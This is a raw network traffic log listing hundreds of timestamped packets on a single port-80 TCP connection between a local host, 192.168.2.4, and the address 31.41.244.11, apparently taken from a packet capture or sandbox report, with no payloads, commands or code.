Dec 17, 2024 22:06:39.848217964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.848253012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.848269939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.848297119 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.849298000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.849330902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.849349976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.849373102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.850111961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.850147963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.850166082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.850194931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.851186037 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.851238012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.851377010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.851427078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.852158070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.852207899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.852232933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.852274895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.853297949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.853348970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.853600025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.853647947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.854365110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.854409933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.854532003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.854573965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.855355978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.855407953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.855489016 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.855535030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.856434107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.856482029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.856894970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.856940985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.857517958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.857563972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.857594967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.857637882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.858551025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.858597994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.858728886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.858777046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.859653950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.859724998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.859765053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.859806061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.860680103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.860726118 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.860841036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.860886097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.861784935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.861833096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.861900091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.861944914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.862843990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.862888098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.862919092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.862962961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.863874912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.863984108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.864020109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.864065886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.864963055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.865010023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.865046024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.865098953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.001724958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.001846075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.002013922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.002067089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.002201080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.002252102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.002338886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.002386093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.003344059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.003396988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.004014969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.004062891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.004475117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.004523039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.004539013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.004584074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.005500078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.005548000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.005651951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.005700111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.006633997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.006685972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.006895065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.006939888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.007605076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.007652998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.007838964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.007884979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.008750916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.008800030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.008840084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.008884907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.009710073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.009758949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.009761095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.009800911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.010735035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.010787010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.010857105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.010900974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.011807919 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.011857033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.011948109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.011995077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.012938976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.012986898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.013165951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.013212919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.013982058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.014029026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.014307976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.014353037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.015060902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.015129089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.015259027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.015306950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.016218901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.016272068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.016345978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.016395092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.017168999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.017215967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.018224955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.018276930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.018486977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.018502951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.018537045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.019360065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.019423008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.019481897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.019526958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.020354986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.020401001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.021442890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.021454096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.021472931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.021493912 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.021517992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.022485018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.022533894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.022660017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.022707939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.023576021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.023624897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.024243116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.024291992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.024682999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.024694920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.024729967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.025679111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.025727034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.025989056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.026035070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.026747942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.026796103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.027080059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.027127981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.027831078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.027879000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.028305054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.028352976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.028873920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.028923988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.028980970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.029026031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.029951096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.030002117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.030039072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.030086994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.031030893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.031075954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.031440020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.031485081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.032075882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.032121897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.032661915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.032711029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.033252954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.033302069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.033396006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.033440113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.034215927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.034262896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.034434080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.034478903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.035317898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.035363913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.035391092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.035434961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.036338091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.036389112 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.036719084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.036763906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.037570953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.037621021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.037880898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.037925005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.038464069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.038507938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.038511038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.038548946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.039535999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.039585114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.039670944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.039715052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.040657997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.040702105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.041043997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.041089058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.041666985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.041716099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.041824102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.041867018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.042845964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.042890072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.043032885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.043078899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.043934107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.043978930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.044106960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.044154882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.044933081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.044977903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.045092106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.045137882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.045963049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.046009064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.046586990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.046629906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.046982050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.047029018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.047203064 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.047247887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.048151016 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.048197031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.048527002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.048573971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.049124002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.049170971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.049199104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.049242973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.050204039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.050250053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.050421953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.050466061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.051223040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.051270008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.051628113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.051671982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.052314043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.052354097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.052725077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.052771091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.053376913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.053416967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.054130077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.054176092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.054445028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.054488897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.054558039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.054600954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.055569887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.055614948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.055866957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.055911064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.056615114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.056658983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.056914091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.056957006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.057748079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.057790995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.193955898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.194015980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.194101095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.194145918 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.194514036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.194556952 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.194895983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.194947004 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.195580959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.195641994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.196631908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.196647882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.196686983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.196707010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.196775913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.196830988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.197772026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.197820902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.197844028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.197892904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.198690891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.198734999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.198879004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.198928118 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.199807882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.199855089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.199923038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.199973106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.200916052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.200927019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.200978994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.201948881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.202006102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.202033043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.202080965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.203731060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.203779936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.203912020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.203958035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.204135895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.204147100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.204190016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.205149889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.205194950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.206218004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.206229925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.206259012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.206274986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.206350088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.206389904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.207278013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.207326889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.207674980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.207720041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.208340883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.208384037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.208542109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.208581924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.209393024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:40.209450006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:40.209558964 CET	80	49825	31.41.244.11	192.168.2.4
